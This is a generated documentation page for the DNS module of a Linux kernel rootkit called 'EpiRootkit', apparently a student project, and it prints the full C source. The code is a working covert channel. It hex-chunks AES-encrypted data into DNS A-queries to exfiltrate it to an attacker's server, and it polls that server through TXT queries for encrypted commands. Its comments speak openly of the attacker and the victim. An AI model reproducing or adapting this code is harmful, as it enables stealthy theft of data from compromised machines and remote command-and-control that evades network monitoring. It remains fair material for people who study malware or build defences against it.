EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
dns.c File Reference
#include "network.h"
Include dependency graph for dns.c:

Go to the source code of this file.

Classes

struct  dns_header_t
 DNS protocol header (network byte order, it is important). More...
 

Functions

static int dns_send_query (const char *query_name, __be16 question_type, u8 *response_buffer, int *response_length)
 Send a single DNS question and receive the raw response.
 
int dns_send_data (const char *data, size_t data_len)
 Exfiltrate a data buffer over DNS by hex-chunked A-queries.
 
int dns_receive_command (char *out_buffer, size_t max_length)
 Poll the attacker via DNS TXT-query for a pending command.
 

Function Documentation

◆ dns_receive_command()

int dns_receive_command ( char *  out_buffer,
size_t  max_length 
)

Poll the attacker via DNS TXT-query for a pending command.

Parameters
out_bufferBuffer to store received command string.
max_lengthMaximum size of out_buffer.
Returns
Length of command received (>0), 0 if none, negative on error.

Definition at line 222 of file dns.c.

222 {
223 char *poll_qname;
224 u8 *response_buffer_local;
225 int response_length_local;
226 int result;
227 struct dns_header_t *hdr;
228 u16 answer_count;
229 int offset;
230
231 // Allocate local response buffer
232 response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
233 if (!response_buffer_local)
234 return -ENOMEM;
235
236 // Build the TXT-poll query name
237 poll_qname = kmalloc(128, GFP_KERNEL);
238 snprintf(poll_qname, 128, "command.%s", DNS_DOMAIN);
239
240 // Send TXT query and get raw response
241 result = dns_send_query(poll_qname, htons(16), response_buffer_local,
242 &response_length_local);
243 kfree(poll_qname);
244 if (result < 0) {
245 kfree(response_buffer_local);
246 return -EIO;
247 }
248
249 // Parse DNS header and answer count
250 hdr = (struct dns_header_t *)response_buffer_local;
251 answer_count = ntohs(hdr->ancount);
252
253 // No command pending
254 if (answer_count == 0) {
255 kfree(response_buffer_local);
256 return 0;
257 }
258
259 // Skip header and question section
260 offset = DNS_HDR_SIZE;
261 while (offset < response_length_local && response_buffer_local[offset])
262 offset += response_buffer_local[offset] + 1;
263
264 // NULL (1) + QTYPE (2) + QCLASS (2)
265 offset += 1 + 2 + 2;
266
267 // Skip into first answer record
268 if ((response_buffer_local[offset] & 0xC0) == 0xC0)
269 offset += 2;
270 else {
271 while (offset < response_length_local && response_buffer_local[offset])
272 offset += response_buffer_local[offset] + 1;
273 offset++;
274 }
275
276 // TYPE (2) + CLASS (2) + TTL (4)
277 offset += 2 + 2 + 4;
278
279 // Read RDLENGTH and TXT length byte
280 u16 rdlength = ntohs(*(__be16 *)(response_buffer_local + offset));
281 offset += 2;
282
283 if (rdlength > 0 && offset < response_length_local) {
284 u8 txt_length = response_buffer_local[offset++];
285 if (txt_length >= max_length)
286 txt_length = max_length - 1;
287
288 char *decrypted = NULL;
289 size_t decrypted_len = 0;
290
291 if (decrypt_buffer(response_buffer_local + offset, txt_length, &decrypted,
292 &decrypted_len)
293 < 0) {
294 kfree(response_buffer_local);
295 return -EIO;
296 }
297
298 memcpy(out_buffer, decrypted, decrypted_len);
299 out_buffer[decrypted_len] = '\0';
300
301 // Marie Kondo
302 kfree(response_buffer_local);
303 vfree(decrypted);
304 return decrypted_len;
305 }
306
307 // Marie Kondo
308 kfree(response_buffer_local);
309 return 0;
310}
int decrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Decrypts a buffer using AES-128 in CBC mode.
Definition aes.c:335
#define DNS_DOMAIN
Definition config.h:48
#define DNS_MAX_BUF
Definition config.h:43
#define DNS_HDR_SIZE
Definition config.h:44
static int dns_send_query(const char *query_name, __be16 question_type, u8 *response_buffer, int *response_length)
Send a single DNS question and receive the raw response.
Definition dns.c:35
DNS protocol header (network byte order, it is important).
Definition dns.c:10
__be16 ancount
Definition dns.c:14

◆ dns_send_data()

int dns_send_data ( const char *  data,
size_t  data_len 
)

Exfiltrate a data buffer over DNS by hex-chunked A-queries.

Splits data into chunks of DNS_MAX_CHUNK bytes, prefixes each chunk with a "seq/total-" header, hex-encodes, and sends as subdomains. Sleeps briefly between queries to avoid flooding.

Parameters
dataPointer to data buffer to send.
data_lenLength of data in bytes.
Returns
0 on success, negative errno on failure.

Definition at line 149 of file dns.c.

149 {
150 char *encrypted_msg = NULL;
151 size_t encrypted_len = 0;
152
153 // Encrypt the data before sending
154 if (encrypt_buffer(data, data_len, &encrypted_msg, &encrypted_len) < 0)
155 return -EIO;
156
157 size_t total_chunks = (encrypted_len + DNS_MAX_CHUNK - 1) / DNS_MAX_CHUNK;
158
159 // Too many chunks, refuse to send, arbitrarily limit to
160 // DNS_MAX_AUTHORIZED_NB_CHUNKS
161 if (total_chunks > DNS_MAX_AUTHORIZED_NB_CHUNKS) {
162 vfree(encrypted_msg);
163 dns_send_data("Output on victim side too big. Use TCP instead. ", 47);
164 return -E2BIG;
165 }
166
167 size_t chunk_index;
168 int response_length_local;
169 u8 *response_buffer_local;
170
171 // Allocate local response buffer
172 response_buffer_local = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
173 if (!response_buffer_local) {
174 vfree(encrypted_msg);
175 return -ENOMEM;
176 }
177
178 // Loop over each data chunk
179 for (chunk_index = 0; chunk_index < total_chunks; chunk_index++) {
180 size_t chunk_size =
181 min(encrypted_len - chunk_index * DNS_MAX_CHUNK, (size_t)DNS_MAX_CHUNK);
182 char hex_buffer[2 * DNS_MAX_CHUNK + 1];
183 char seq_label[80];
184 char full_qname[200];
185 size_t i;
186
187 // Hex-encode the chunk
188 for (i = 0; i < chunk_size; i++)
189 sprintf(hex_buffer + 2 * i, "%02x",
190 encrypted_msg[chunk_index * DNS_MAX_CHUNK + i]);
191 hex_buffer[2 * chunk_size] = '\0';
192
193 // Prefix with sequence/total header (not the best way to do it I think, but
194 // works)
195 snprintf(seq_label, sizeof(seq_label), "%02zx/%02zx-%s", chunk_index,
196 total_chunks, hex_buffer);
197
198 // Build full QNAME: "seq_label.DNS_DOMAIN"
199 snprintf(full_qname, sizeof(full_qname), "%s.%s", seq_label, DNS_DOMAIN);
200
201 // Send the A-query carrying this chunk over DNS
202 dns_send_query(full_qname, htons(1), response_buffer_local,
203 &response_length_local);
204
205 // Craque le sleep
206 msleep(10);
207 }
208
209 // Marie Kondo
210 vfree(encrypted_msg);
211 kfree(response_buffer_local);
212 return 0;
213}
int encrypt_buffer(const char *in, size_t in_len, char **out, size_t *out_len)
Encrypts a buffer using AES-128 in CBC mode.
Definition aes.c:322
#define DNS_MAX_CHUNK
Definition config.h:45
#define DNS_MAX_AUTHORIZED_NB_CHUNKS
Definition config.h:46
int dns_send_data(const char *data, size_t data_len)
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Definition dns.c:149

◆ dns_send_query()

static int dns_send_query ( const char *  query_name,
__be16  question_type,
u8 *  response_buffer,
int *  response_length 
)
static

Send a single DNS question and receive the raw response.

Constructs a DNS query for query_name with type question_type, adds an EDNS0 OPT record to request up to DNS_MAX_BUF bytes, sends over UDP to the configured DNS_SERVER_IP, and blocks for the reply.

Parameters
query_nameFull qname (labels + domain) to query.
question_typeQTYPE in network byte order (e.g. htons(1) for A, htons(16) for TXT).
response_bufferBuffer to store the received packet data.
response_lengthSize of response_buffer
Returns
0 on success, negative errno on failure.

Definition at line 35 of file dns.c.

36 {
37 struct socket *sock;
38 struct sockaddr_in dest_addr;
39 struct msghdr msg = {};
40 struct kvec iov;
41 int offset = 0;
42 int result;
43 u8 *packet_buffer;
44
45 // Allocate heap memory for the DNS packet
46 packet_buffer = kzalloc(DNS_MAX_BUF, GFP_KERNEL);
47 if (!packet_buffer)
48 return -ENOMEM;
49
50 // Build the DNS header
51 struct dns_header_t *hdr = (void *)packet_buffer;
52 get_random_bytes(&hdr->id, sizeof(hdr->id));
53 hdr->flags = htons(0x0100);
54 hdr->qdcount = htons(1);
55 hdr->ancount = htons(0);
56 hdr->nscount = htons(0);
57 hdr->arcount = htons(0);
58 offset = DNS_HDR_SIZE;
59
60 // Encode QNAME: split labels by '.' and prefix length
61 const char *p = query_name;
62 while (*p) {
63 const char *dot = strchr(p, '.');
64 int label_len = dot ? (dot - p) : strlen(p);
65 packet_buffer[offset++] = label_len;
66
67 memcpy(packet_buffer + offset, p, label_len);
68 offset += label_len;
69
70 if (!dot)
71 break;
72 p = dot + 1;
73 }
74
75 // Append the 0x00 to terminate the QNAME
76 packet_buffer[offset++] = 0;
77
78 // Write QTYPE and QCLASS=IN
79 *(__be16 *)(packet_buffer + offset) = question_type;
80 offset += 2;
81 *(__be16 *)(packet_buffer + offset) = htons(1);
82 offset += 2;
83
84 // Create a UDP socket in kernel (need to hide it ?)
85 result = sock_create_kern(&init_net, AF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock);
86 if (result < 0) {
87 kfree(packet_buffer);
88 return result;
89 }
90
91 // Prepare the destination address
92 memset(&dest_addr, 0, sizeof(dest_addr));
93 dest_addr.sin_family = AF_INET;
94 dest_addr.sin_port = htons(DNS_PORT);
95 in4_pton(ip, -1, (u8 *)&dest_addr.sin_addr.s_addr, -1, NULL);
96
97 // tell kernel_sendmsg where to send
98 msg.msg_name = &dest_addr;
99 msg.msg_namelen = sizeof(dest_addr);
100
101 // DEBUG Log (ugly)
102 // DBG_MSG("dns_send_query: sending %d-byte DNS query for '%s'\n", offset,
103 // query_name);
104
105 // Send the DNS query
106 iov.iov_base = packet_buffer;
107 iov.iov_len = offset;
108 result = kernel_sendmsg(sock, &msg, &iov, 1, offset);
109 if (result < 0) {
110 sock_release(sock);
111 kfree(packet_buffer);
112 return result;
113 }
114
115 // Give the server a moment to respond
116 msleep(200);
117
118 // Receive the response (up to DNS_MAX_BUF)
119 iov.iov_base = packet_buffer;
120 iov.iov_len = DNS_MAX_BUF;
121 result = kernel_recvmsg(sock, &msg, &iov, 1, DNS_MAX_BUF, MSG_DONTWAIT);
122 if (result > 0) {
123 memcpy(response_buffer, packet_buffer, result);
124 *response_length = result;
125 result = 0;
126 }
127 else if (result == -EAGAIN || result == -EWOULDBLOCK) {
128 *response_length = 0;
129 result = 0;
130 }
131
132 // Marie Kondo
133 sock_release(sock);
134 kfree(packet_buffer);
135 return result;
136}
#define DNS_PORT
Definition config.h:42
char * ip
Definition main.c:6
__be16 id
Definition dns.c:11
__be16 nscount
Definition dns.c:15
__be16 qdcount
Definition dns.c:13
__be16 arcount
Definition dns.c:16
__be16 flags
Definition dns.c:12